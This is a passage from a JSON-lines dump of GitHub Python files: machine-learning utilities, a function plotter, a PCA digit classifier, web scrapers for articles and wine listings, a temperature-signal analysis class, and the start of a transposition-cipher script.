dark; otherwise black.\n threshold = cm.max() / 2.\n\n for i, j in itertools.product(range(cm.shape[0]), range(cm.shape[1])):\n color = \"white\" if cm[i, j] > threshold else \"black\"\n plt.text(j, i, cm[i, j], horizontalalignment=\"center\", color=color)\n\n plt.tight_layout()\n plt.ylabel('True label')\n plt.xlabel('Predicted label')\n return figure\n\ndef view_tensor(name, x, debug=True, grad=False):\n if not debug: return\n print(\"Tensor\", name, \":\", x.shape)\n print(x)\n isNaN = torch.isnan(x).any()\n print(\"NaN found:\", isNaN.item())\n isInf = torch.isinf(x).any()\n print(\"Infinity Found:\", isInf.item())\n if grad:\n print(x.grad.data)\n print(\"=\"*85)\n\n\nclass EarlyStopping:\n \"\"\"Early stops the training if validation loss doesn't improve after a given patience.\"\"\"\n def __init__(self, patience=7, verbose=False, delta=0):\n \"\"\"\n Args:\n patience (int): How long to wait after last time validation loss improved.\n Default: 7\n verbose (bool): If True, prints a message for each validation loss improvement.\n Default: False\n delta (float): Minimum change in the monitored quantity to qualify as an improvement.\n Default: 0\n \"\"\"\n self.patience = patience\n self.verbose = verbose\n self.counter = 0\n self.best_score = None\n self.early_stop = False\n self.val_loss_min = np.Inf\n self.delta = delta\n\n def __call__(self, val_loss):\n\n score = -val_loss\n\n if self.best_score is None:\n self.best_score = score\n elif score < self.best_score + self.delta:\n self.counter += 1\n if self.counter >= self.patience:\n self.early_stop = True\n else:\n self.best_score = score\n self.counter = 0\n\n", "repo_name": "ris0801/HPMLProject-HatefulMemesChallenge", "sub_path": "utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 3731, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "80", "api": [{"api_name": "torch.save", "line_number": 10, "usage_type": "call"}, {"api_name": "shutil.copyfile", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path", "line_number": 16, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path", "line_number": 18, "usage_type": "attribute"}, {"api_name": "yaml.dump", "line_number": 19, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 24, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 47, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 47, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 48, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 48, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.cm", "line_number": 48, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.title", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 49, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.colorbar", "line_number": 50, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 50, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 51, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 52, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 52, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yticks", "line_number": 53, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 53, "usage_type": "name"}, {"api_name": "itertools.product", "line_number": 58, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.text", "line_number": 60, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 60, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 62, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 62, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 63, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 63, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 64, "usage_type": "name"}, {"api_name": "torch.isnan", "line_number": 71, "usage_type": "call"}, {"api_name": "torch.isinf", "line_number": 73, "usage_type": "call"}, {"api_name": "numpy.Inf", "line_number": 97, "usage_type": "attribute"}]} +{"seq_id": "33461108629", "text": "import easygui as eg\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport math as math\n\n#annan kordinaatteljestikule x ja y telje\nax=plt.gca()\nax.spines[\"top\"].set_color(\"none\")\nax.spines[\"bottom\"].set_position(\"zero\")\nax.spines[\"left\"].set_position(\"zero\")\nax.spines[\"right\"].set_color(\"none\")\nax.grid(True, which='both', linestyle=\"--\")\nax.axhline(y=0, color='k')\nax.axvline(x=0, color='k')\n\n#määran maksimaalsed x-i väärtused koordinaatteljestikul, number 1000 näitab punktide arvu, mille põhjal fn on joonestatud\nx=np.linspace(-10, 10, 1000)\n\n#annan x ja y teljele nooled\nnooled = dict(markersize=4, color='black', clip_on=False)\nax.plot((1), (0), marker='>', transform=ax.get_yaxis_transform(), **nooled)\nax.plot((0), (1), marker='^', transform=ax.get_xaxis_transform(), **nooled)\n\n\njuhend=\"Sisesta funktsioon\\n(sisesta sama moodi nagu moodle testi) \\n ruutjuure asemel astanda 1/2)\"\ntitle=\"Funktsioon\"\ninput_list=[\"f(x)=\", \"g(x)=\"]\nkõik_sisend=eg.multenterbox(juhend, title, input_list)\n\n#ükshaaval teisendan kasutaja sisendid sobivale kujule ja teen graafiku\ntry:\n for i in range(len(kõik_sisend)):\n sisend=kõik_sisend[i]\n \n arc=[\"arctan\",\"arccos\", \"arcsin\"]\n for i in arc:\n if i in sisend:\n sisend=sisend.replace(i, f\"np.{i}\")\n\n trigo=[\"sin\", \"cos\", \"tan\"]\n for i in trigo:\n if i in sisend:\n sisend=sisend.replace(i, f\"np.{i}\")\n \n sisend=sisend.replace(\"arcnp.\", \"arc\")\n\n if \"log\" in sisend:\n sisend=sisend.replace(\"log\", \"np.log10\")\n if \"ln\" in sisend:\n sisend=sisend.replace(\"ln\", \"np.log\")\n \n\n #defineerin funktsiooni f(x), mis võtab argumendiks kasutaja sisendi\n def f(x):\n return eval(sisend)\n plt.plot(x, f(x))\n \nexcept:\n None\nplt.ylim(-5,5)\nplt.show()", "repo_name": "martenjaani/Proge_projekt", "sub_path": "projekt.py", "file_name": "projekt.py", "file_ext": "py", "file_size_in_byte": 1888, "program_lang": "python", "lang": "et", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "80", "api": [{"api_name": "matplotlib.pyplot.gca", "line_number": 7, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 7, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 17, "usage_type": "call"}, {"api_name": "easygui.multenterbox", "line_number": 28, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 56, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 56, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 60, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 60, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 61, "usage_type": "name"}]} +{"seq_id": "70146044098", "text": "#PCs und k noch auf's Optimum einstellen!!\n\nimport numpy as np\nfrom PIL import Image as im\nimport pandas as pd\nimport Functions.PCA as pca\nimport Functions.k_nearest as knn\nimport Functions.data_load as dat\nimport matplotlib.pylab as plt\n\ntrain_array, test_array = dat.load_data()\ntrain_arr_cleaned = dat.clean_train_arr()\nz_arr = pca.z_arr(train_arr_cleaned)\nreduced_arr = pca.arr_only(z_arr, pca.create_sorted_eigenvec(30))\n\ndef self_written_prediction(file_path):\n \"\"\"\n loads jpg image and converts to np array (2D)\n\n :param file_path: str of relative path\n :return: 2D Array od image\n \"\"\"\n img = im.open(file_path)\n img = img.convert('L')\n img = np.asarray(img)\n while img.shape[0]%28 != 0:\n img = img[:img.shape[0]-1, :img.shape[1]-1]\n n = img.shape[0]//28\n\n img_arr = np.zeros((28,28))\n for h in range(0,28):\n for i in range(0,28):\n value = 0\n for j in range(0,n):\n for k in range(0,n):\n value += img[j+(h*n), k+(i*n)]\n img_arr[h,i] = value//n**2\n img_arr = 255-img_arr\n \n eigenvectors_sorted = pca.create_sorted_eigenvec(30)\n pca_arr = pca.arr_only(z_arr, eigenvectors_sorted)\n img_z_transformed = pca.z_img(img_arr)\n pca_img = pca.image_only(img_z_transformed, eigenvectors_sorted)\n prediction = knn.kNN(train_array, pca_arr, pca_img, k=4, train=False)\n \n return f\"Your input is a handwritten {prediction}\"\n\ndef load_add_img(filepath='data/input2.jpg'):\n img = im.open(filepath)\n img = img.convert('L')\n img = np.asarray(img)\n while img.shape[0]%28 != 0:\n img = img[:img.shape[0]-1, :img.shape[1]-1]\n n = img.shape[0]//28\n return img\n\nadd_img = load_add_img()\n\ndef convert_add_img(img=add_img):\n n = img.shape[0]//28\n img_arr = np.zeros((28,28))\n for h in range(0,28):\n for i in range(0,28):\n value = 0\n for j in range(0,n):\n for k in range(0,n):\n value += img[j+(h*n), k+(i*n)]\n img_arr[h,i] = value//n**2\n img_arr = 255-img_arr\n return img_arr", "repo_name": "datascience-mobi-2022/2022-topic-01-team-02", "sub_path": "Functions/additional_code.py", "file_name": "additional_code.py", "file_ext": "py", "file_size_in_byte": 2111, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "80", "api": [{"api_name": "Functions.data_load.load_data", "line_number": 11, "usage_type": "call"}, {"api_name": "Functions.data_load", "line_number": 11, "usage_type": "name"}, {"api_name": "Functions.data_load.clean_train_arr", "line_number": 12, "usage_type": "call"}, {"api_name": "Functions.data_load", "line_number": 12, "usage_type": "name"}, {"api_name": "Functions.PCA.z_arr", "line_number": 13, "usage_type": "call"}, {"api_name": "Functions.PCA", "line_number": 13, "usage_type": "name"}, {"api_name": "Functions.PCA.arr_only", "line_number": 14, "usage_type": "call"}, {"api_name": "Functions.PCA", "line_number": 14, "usage_type": "name"}, {"api_name": "Functions.PCA.create_sorted_eigenvec", "line_number": 14, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 23, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 23, "usage_type": "name"}, {"api_name": "numpy.asarray", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 30, "usage_type": "call"}, {"api_name": "Functions.PCA.create_sorted_eigenvec", "line_number": 40, "usage_type": "call"}, {"api_name": "Functions.PCA", "line_number": 40, "usage_type": "name"}, {"api_name": "Functions.PCA.arr_only", "line_number": 41, "usage_type": "call"}, {"api_name": "Functions.PCA", "line_number": 41, "usage_type": "name"}, {"api_name": "Functions.PCA.z_img", "line_number": 42, "usage_type": "call"}, {"api_name": "Functions.PCA", "line_number": 42, "usage_type": "name"}, {"api_name": "Functions.PCA.image_only", "line_number": 43, "usage_type": "call"}, {"api_name": "Functions.PCA", "line_number": 43, "usage_type": "name"}, {"api_name": "Functions.k_nearest.kNN", "line_number": 44, "usage_type": "call"}, {"api_name": "Functions.k_nearest", "line_number": 44, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 49, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 49, "usage_type": "name"}, {"api_name": "numpy.asarray", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 61, "usage_type": "call"}]} +{"seq_id": "74285232899", "text": "#!/usr/bin/python\n#Filename: biz.article.py\n#coding:utf-8\n\nimport re\nfrom pyquery import PyQuery\n\nclass article(object):\n def __init__(self,**kargs):\n keys=kargs.keys()\n self.__url=kargs['url'] if 'url' in keys else 'http://www.importnew.com/all-posts'\n self.__cacheTime=kargs['cache_time'] if 'cache_time' in keys else 0\n self.__firstpage=None\n \n def getPages(self):\n doc=PyQuery(url=self.__url)\n pages=doc('.navigation a')\n pageNums=[int(x.text()) for x in pages.items() if re.match('\\d+', x.text())]\n maxPage=max(pageNums)\n return maxPage\n \n def parsePage(self,url=None):\n url=url if url!=None else self.__url\n doc=PyQuery(url=url)\n posts=doc('#archive .post .post-meta')\n\n articles=[]\n\n for post in posts.items():\n p=post('p:first').text()\n info=p.split('|')\n article_tag=info[1]\n m=re.search(r'(?P\\d+/\\d+/\\d+)', p)\n if not m:\n continue\n ap=m.group('publish')\n article_publish=ap.replace('/','-')\n title=post('.meta-title')\n article_url=title.attr('href')\n m=re.search('(?P\\d+)', article_url)\n if not m:\n continue\n article_id=m.group('id')\n \n article_title=title.text()\n article_abstract=post('.excerpt:first').text()\n \n article={'article_id':article_id,'article_title':article_title,'article_abstract':article_abstract,\n 'article_url':article_url,'article_publish':article_publish,'article_tag':article_tag}\n \n articles.append(article)\n \n return articles\n\n \n \n ", "repo_name": "stonenice/gather", "sub_path": "importnew/biz/article.py", "file_name": "article.py", "file_ext": "py", "file_size_in_byte": 1782, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "80", "api": [{"api_name": "pyquery.PyQuery", "line_number": 16, "usage_type": "call"}, {"api_name": "re.match", "line_number": 18, "usage_type": "call"}, {"api_name": "pyquery.PyQuery", "line_number": 24, "usage_type": "call"}, {"api_name": "re.search", "line_number": 33, "usage_type": "call"}, {"api_name": "re.search", "line_number": 40, "usage_type": "call"}]} +{"seq_id": "6342290491", "text": "import os\nimport pandas as pd\nimport requests\n\nfrom bs4 import NavigableString, Comment\nfrom bs4 import BeautifulSoup\n\nPARSED_DATA_FOLDER = \"parsed_data\"\nURL = \"https://winetime.com.ua/ua/wine\"\n\nCOLUMN_NAMES = ['Назва','Виробник','Артикул','Ціна','Температура подачі','Сорти винограду',\n 'Технологія виробництва','Об `єм','Рік','Бренд','Регіон','Країна',\n 'Солодкість','Тип напою', 'Колір вина','Склад землі','З чим подавати','Класифікація',\n 'Розміщення виноградників','Витримка','Склад винограду','Цукор',\n 'Алкоголь, %','Збір урожаю','Розширений колір вина','Аромат','Смак','Цікаве',\n 'Стиль вин','Потенціал','Дегустації']\n\ndef main() -> None:\n wines_data = []\n\n page = requests.get(URL)\n soup = BeautifulSoup(page.content, 'html.parser')\n total_count = soup.select_one('span.total-catalog-items').text\n total_pages = round(int(total_count)/30)\n\n for page in range(1, total_pages + 1):\n print(f'Page processing: {page} of {total_pages}')\n new_page_url = URL + f\"?page={page}\"\n page = requests.get(new_page_url)\n soup = BeautifulSoup(page.content, 'html.parser')\n products = soup.select_one('div.catalog-list-wrapper').select('div.products-main-slider-item')\n\n for i in range(0, len(products)):\n product = products[i]\n product_url = product.select_one('a')['href'] + \"#description\"\n item_page = requests.get(product_url)\n item_soup = BeautifulSoup(item_page.content, 'html.parser')\n\n description_soup = item_soup.select_one(\"div.description-tab\")\n title = description_soup.select_one('div.item-list-title')\n title_text = title.text.strip() if title else ''\n\n print(f\"{title_text}: {product_url}\")\n\n subtitle = description_soup.select_one('div.item-list-subtitle')\n subtitle_text = subtitle.text.strip() if subtitle else ''\n\n vendor_code = description_soup.select_one('div.vendor-code').select_one('span')\n vendor_code_text = vendor_code.text.strip() if vendor_code else ''\n\n price = description_soup.select_one('div.own-bottom').select_one('span')\n price_text = price.text.strip() if price else ''\n\n tables = item_soup.select('table.char-item-table')\n wine = dict.fromkeys(COLUMN_NAMES)\n wine['Назва'] = title_text\n wine['Виробник'] = subtitle_text\n wine['Артикул'] = vendor_code\n wine['Ціна'] = price_text\n\n for table in tables:\n rows = table.select('tr')\n for row in rows:\n row_name = row.select_one('td.first-char-title').text.strip()\n row_value = row.select_one('td.second-char-title').text.strip()\n wine[row_name] = row_value\n\n wines_data.append(wine)\n df = pd.DataFrame(wines_data)\n df.to_csv(os.path.join(PARSED_DATA_FOLDER, \"wines.csv\"), mode='w+')\n\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "ChechkovEugene/projector_ml_project", "sub_path": "run_scripts/parse_data.py", "file_name": "parse_data.py", "file_ext": "py", "file_size_in_byte": 3392, "program_lang": "python", "lang": "uk", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "80", "api": [{"api_name": "requests.get", "line_number": 21, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 22, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 29, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 30, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 36, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 37, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 69, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 70, "usage_type": "call"}, {"api_name": "os.path", "line_number": 70, "usage_type": "attribute"}]} +{"seq_id": "37530906466", "text": "\n# -------------------------------------------------------------------------- #\n# ---------------------------- Imported Modules ---------------------------- #\n\n# Basic Modules\nimport scipy\nimport numpy as np\n\n# Import Files\nimport _globalProtocol\n \n# ---------------------------------------------------------------------------#\n# ---------------------------------------------------------------------------#\n\nclass tempProtocol(_globalProtocol.globalProtocol):\n \n def __init__(self, numPointsPerBatch = 2000, moveDataFinger = 200, numChannels = 1, plottingClass = None, readData = None):\n # Feature collection parameters\n self.featureTimeWindow = 60 # The duration of time that each feature considers; 5 - 15\n # High Pass Filter Parameters\n self.dataPointBuffer = 5000 # A Prepended Buffer in the Filtered Data that Represents BAD Filtering; Units: Points\n self.cutOffFreq = [None, 0.1] # Optimal LPF Cutoff in Literatrue is 6-8 or 20 Hz (Max 35 or 50); I Found 25 Hz was the Best, but can go to 15 if noisy (small amplitude cutoff)\n \n # Initialize common model class\n super().__init__(numPointsPerBatch, moveDataFinger, numChannels, plottingClass, readData)\n \n def resetAnalysisVariables(self):\n # General parameters \n self.startFeatureTimePointer = 0 # The start pointer of the feature window interval.\n \n def checkParams(self):\n assert self.featureTimeWindow < self.dataPointBuffer, \"The buffer does not include enough points for the feature window\"\n \n def setSamplingFrequencyParams(self):\n # Set Parameters\n self.lastAnalyzedDataInd = int(self.samplingFreq*self.featureTimeWindow)\n self.minPointsPerBatch = int(self.samplingFreq*self.featureTimeWindow/2)\n self.dataPointBuffer = max(self.dataPointBuffer, int(self.samplingFreq*15))\n\n def initPlotPeaks(self): \n # Establish pointers to the figure\n self.fig = self.plottingClass.fig\n axes = self.plottingClass.axes['temp'][0]\n\n # Plot the Raw Data\n yLimLow = 20; yLimHigh = 45; \n self.bioelectricDataPlots = []; self.bioelectricPlotAxes = []\n for channelIndex in range(self.numChannels):\n # Create Plots\n if self.numChannels == 1:\n self.bioelectricPlotAxes.append(axes[0])\n else:\n self.bioelectricPlotAxes.append(axes[channelIndex, 0])\n \n # Generate Plot\n self.bioelectricDataPlots.append(self.bioelectricPlotAxes[channelIndex].plot([], [], '-', c=\"tab:red\", linewidth=1, alpha = 0.65)[0])\n \n # Set Figure Limits\n self.bioelectricPlotAxes[channelIndex].set_ylim(yLimLow, yLimHigh)\n # Label Axis + Add Title\n self.bioelectricPlotAxes[channelIndex].set_ylabel(\"Temperature (\\u00B0C)\", fontsize=13, labelpad = 10)\n \n # Create the Data Plots\n self.filteredBioelectricDataPlots = []\n self.filteredBioelectricPlotAxes = [] \n for channelIndex in range(self.numChannels):\n # Create Plot Axes\n if self.numChannels == 1:\n self.filteredBioelectricPlotAxes.append(axes[1])\n else:\n self.filteredBioelectricPlotAxes.append(axes[channelIndex, 1])\n \n # Plot Flitered Peaks\n self.filteredBioelectricDataPlots.append(self.filteredBioelectricPlotAxes[channelIndex].plot([], [], '-', c=\"tab:red\", linewidth=1, alpha = 0.65)[0])\n\n # Set Figure Limits\n self.filteredBioelectricPlotAxes[channelIndex].set_ylim(yLimLow, yLimHigh)\n \n # Tighten figure's white space (must be at the end)\n self.plottingClass.fig.tight_layout(pad=2.0);\n \n # ----------------------------------------------------------------------- #\n # ------------------------- Data Analysis Begins ------------------------ #\n\n def analyzeData(self, dataFinger):\n \n # Add incoming Data to Each Respective Channel's Plot\n for channelIndex in range(self.numChannels):\n \n # ---------------------- Filter the Data ----------------------- # \n # Find the starting/ending points of the data to analyze\n startFilterPointer = max(dataFinger - self.dataPointBuffer, 0)\n dataBuffer = np.array(self.data[1][channelIndex][startFilterPointer:dataFinger + self.numPointsPerBatch])\n timePoints = np.array(self.data[0][startFilterPointer:dataFinger + self.numPointsPerBatch])\n \n # Get the Sampling Frequency from the First Batch (If Not Given)\n if not self.samplingFreq:\n self.setSamplingFrequency(startFilterPointer)\n \n # Filter the data and remove bad indices\n filteredTime, filteredData, goodIndicesMask = self.filterData(timePoints, dataBuffer)\n # --------------------------------------------------------------- #\n \n # ---------------------- Feature Extraction --------------------- #\n if self.collectFeatures: \n # Extract features across the dataset\n while self.lastAnalyzedDataInd < len(self.data[0]):\n featureTime = self.data[0][self.lastAnalyzedDataInd]\n \n # Find the start window pointer\n self.startFeatureTimePointer = self.findStartFeatureWindow(self.startFeatureTimePointer, featureTime, self.featureTimeWindow)\n # Compile the good data in the feature interval.\n intervalTimes, intervalData = self.compileBatchData(filteredTime, filteredData, goodIndicesMask, startFilterPointer, self.startFeatureTimePointer)\n \n # Only extract features if enough information is provided.\n if self.minPointsPerBatch < len(intervalTimes):\n # Calculate and save the features in this window.\n temperatureFeatures = self.extractFeatures(intervalTimes, intervalData)\n self.readData.averageFeatures([featureTime], [temperatureFeatures], self.featureTimes, self.rawFeatures, self.compiledFeatures, self.featureAverageWindow)\n \n # Keep track of which data has been analyzed \n self.lastAnalyzedDataInd += int(self.samplingFreq*1)\n # -------------------------------------------------------------- # \n \n # ------------------- Plot Biolectric Signals ------------------- #\n if self.plotStreamedData:\n # Format the raw data:.\n timePoints = timePoints[dataFinger - startFilterPointer:] # Shared axis for all signals\n rawData = dataBuffer[dataFinger - startFilterPointer:]\n # Format the filtered data\n filterOffset = (goodIndicesMask[0:dataFinger - startFilterPointer]).sum(axis = 0, dtype=int)\n\n # Plot Raw Bioelectric Data (Slide Window as Points Stream in)\n self.bioelectricDataPlots[channelIndex].set_data(timePoints, rawData)\n self.bioelectricPlotAxes[channelIndex].set_xlim(timePoints[0], timePoints[-1])\n \n # Plot the Filtered + Digitized Data\n self.filteredBioelectricDataPlots[channelIndex].set_data(filteredTime[filterOffset:], filteredData[filterOffset:])\n self.filteredBioelectricPlotAxes[channelIndex].set_xlim(timePoints[0], timePoints[-1]) \n # --------------------------------------------------------------- # \n \n def filterData(self, timePoints, data):\n # Filter the data\n filteredData = self.filteringMethods.bandPassFilter.butterFilter(data, self.cutOffFreq[1], self.samplingFreq, order = 1, filterType = 'low')\n \n # Find the bad points associated with motion artifacts\n deriv = abs(np.gradient(filteredData, timePoints))\n motionIndices = deriv > 0.1\n motionIndices_Broadened = scipy.signal.savgol_filter(motionIndices, max(3, int(self.samplingFreq*20)), 1, mode='nearest', deriv=0)\n goodIndicesMask = motionIndices_Broadened < 0.01\n \n # Remove the bad points from the data\n filteredTime = timePoints[goodIndicesMask]\n filteredData = filteredData[goodIndicesMask]\n\n # Finish filtering the data\n filteredData = scipy.signal.savgol_filter(filteredData, max(3, int(self.samplingFreq*15)), 1, mode='nearest', deriv=0)\n \n return filteredTime, filteredData, goodIndicesMask\n\n def findStartFeatureWindow(self, timePointer, currentTime, timeWindow):\n # Loop through until you find the first time in the window \n while self.data[0][timePointer] < currentTime - timeWindow:\n timePointer += 1\n \n return timePointer\n \n def compileBatchData(self, filteredTime, filteredData, goodIndicesMask, startFilterPointer, startFeatureTimePointer):\n assert len(goodIndicesMask) >= len(filteredData) == len(filteredTime), print(len(goodIndicesMask), len(filteredData), len(filteredTime))\n \n # Accounts for the missing points (count the number of viable points within each pointer).\n startReferenceFinger = (goodIndicesMask[0:startFeatureTimePointer - startFilterPointer]).sum(axis = 0, dtype=int)\n endReferenceFinger = startReferenceFinger + (goodIndicesMask[startFeatureTimePointer - startFilterPointer:self.lastAnalyzedDataInd+1 - startFilterPointer]).sum(axis = 0, dtype=int)\n # Compile the information in the interval.\n intervalTimes = filteredTime[startReferenceFinger:endReferenceFinger]\n intervalData = filteredData[startReferenceFinger:endReferenceFinger]\n\n return intervalTimes, intervalData\n \n # ---------------------------------------------------------------------- #\n # --------------------- Feature Extraction Methods --------------------- #\n \n def extractFeatures(self, timePoints, data):\n \n # ----------------------- Data Preprocessing ----------------------- #\n \n # Normalize the data\n standardizedData = (data - np.mean(data))/np.std(data, ddof=1)\n \n # Calculate the power spectral density (PSD) of the signal. USE NORMALIZED DATA\n powerSpectrumDensityFreqs, powerSpectrumDensity = scipy.signal.welch(standardizedData, fs=self.samplingFreq, window='hann', nperseg=int(self.samplingFreq*4), noverlap=None,\n nfft=None, detrend='constant', return_onesided=True, scaling='density', axis=-1, average='mean')\n powerSpectrumDensity_Normalized = powerSpectrumDensity/np.sum(powerSpectrumDensity)\n \n # ------------------------------------------------------------------ # \n # ----------------------- Features from Data ----------------------- #\n \n # General Shape Parameters\n meanSignal = np.mean(data)\n signalEntropy = scipy.stats.entropy(abs(data))\n standardDeviation = np.std(data, ddof = 1)\n signalSkew = scipy.stats.skew(data, bias=False)\n signalKurtosis = scipy.stats.kurtosis(data, fisher=True, bias = False)\n \n # Other pamaeters\n signalChange = data[-1] - data[0]\n averageNoise = np.mean(abs(np.diff(data)))\n averageSquaredNoise = np.mean(np.diff(data)**2) / np.mean(np.diff(timePoints)**2)\n signalPower = np.trapz(data**2, timePoints) / (timePoints[-1] - timePoints[0])\n \n # ------------------------------------------------------------------ # \n # ----------------- Features from Normalized Data ------------------ #\n baselineDataX = timePoints - timePoints[0]\n baselineDataY = data - data[0]\n \n signalSlope, slopeIntercept = np.polyfit(baselineDataX, baselineDataY, 1) \n \n # ------------------------------------------------------------------ # \n # ----------------------- Organize Features ------------------------ #\n \n temperatureFeatures = []\n # Add peak shape parameters\n temperatureFeatures.extend([meanSignal, signalEntropy, standardDeviation, signalSkew, signalKurtosis])\n temperatureFeatures.extend([signalChange, averageNoise, averageSquaredNoise, signalPower])\n \n # Add normalized features\n temperatureFeatures.extend([signalSlope, slopeIntercept])\n \n return temperatureFeatures\n\n\n \n \n \n \n ", "repo_name": "Samwich1998/Python-Arduino-Interface", "sub_path": "Helper Files/Biolectric Protocols/temperatureAnalysis.py", "file_name": "temperatureAnalysis.py", "file_ext": "py", "file_size_in_byte": 12739, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "80", "api": [{"api_name": "_globalProtocol.globalProtocol", "line_number": 15, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.gradient", "line_number": 147, "usage_type": "call"}, {"api_name": "scipy.signal.savgol_filter", "line_number": 149, "usage_type": "call"}, {"api_name": "scipy.signal", "line_number": 149, "usage_type": "attribute"}, {"api_name": "scipy.signal.savgol_filter", "line_number": 157, "usage_type": "call"}, {"api_name": "scipy.signal", "line_number": 157, "usage_type": "attribute"}, {"api_name": "numpy.mean", "line_number": 188, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 188, "usage_type": "call"}, {"api_name": "scipy.signal.welch", "line_number": 191, "usage_type": "call"}, {"api_name": "scipy.signal", "line_number": 191, "usage_type": "attribute"}, {"api_name": "numpy.sum", "line_number": 193, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 199, "usage_type": "call"}, {"api_name": "scipy.stats.entropy", "line_number": 200, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 200, "usage_type": "attribute"}, {"api_name": "numpy.std", "line_number": 201, "usage_type": "call"}, {"api_name": "scipy.stats.skew", "line_number": 202, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 202, "usage_type": "attribute"}, {"api_name": "scipy.stats.kurtosis", "line_number": 203, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 203, "usage_type": "attribute"}, {"api_name": "numpy.mean", "line_number": 207, "usage_type": "call"}, {"api_name": "numpy.diff", "line_number": 207, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 208, "usage_type": "call"}, {"api_name": "numpy.diff", "line_number": 208, "usage_type": "call"}, {"api_name": "numpy.trapz", "line_number": 209, "usage_type": "call"}, {"api_name": "numpy.polyfit", "line_number": 216, "usage_type": "call"}]} +{"seq_id": "12337305192", "text": "from itertools import permutations\nfrom miscellaneous import pyperclip\nimport math, re\nfrom cryptanalysis.ngramFrequencyAnalysis import count_distinct_ngrams, break_into_ngrams_with_remainders, \\\nbreak_into_ngrams\nfrom englishDetection import englishScore\n\ndef main():\n message = input(\"Enter a message: \")\n remove = input(\"Remove spaces? [y/n]: \")\n if remove == 'y':\n message = message.replace(' ', '')\n direction = input(\"Cipher direction ?: \")\n #additional input --> n for the n-grams\n n = int(input(\"n = \"))\n crack = input(\"Crack code? : \")\n if crack == 'y':\n lower_bound = int(input(\"Enter lower bound: \"))\n higher_bound = int(input(\"Enter higher bound: \"))\n print()\n display_best_decryptions(message=message, direction=direction, lowerBound=lower_bound,\n higherBound=higher_bound, num_of_decryptions=10, n=n)\n\n else:\n raw_inp = input(\"Enter key: \")\n try:\n #if converting it to a tuple doesn't work\n key = get_permutation((convert_to_tuple(list(raw_inp))))\n except ValueError:\n #it must be a string key\n key = key_permutation(raw_inp)\n\n mode = input(\"Mode ?: \")\n filler = input(\"Filler = \")\n if mode == 'encrypt':\n if direction == 'horizontal':\n ciphertext = encrypt_horizontal(message, key, n, filler)\n else:\n ciphertext = encrypt_vertical(message, key, n, filler)\n else:\n if direction == 'horizontal':\n ciphertext = decrypt_horizontal(message, key, n)\n else:\n ciphertext = decrypt_vertical(message, key, n)\n\n 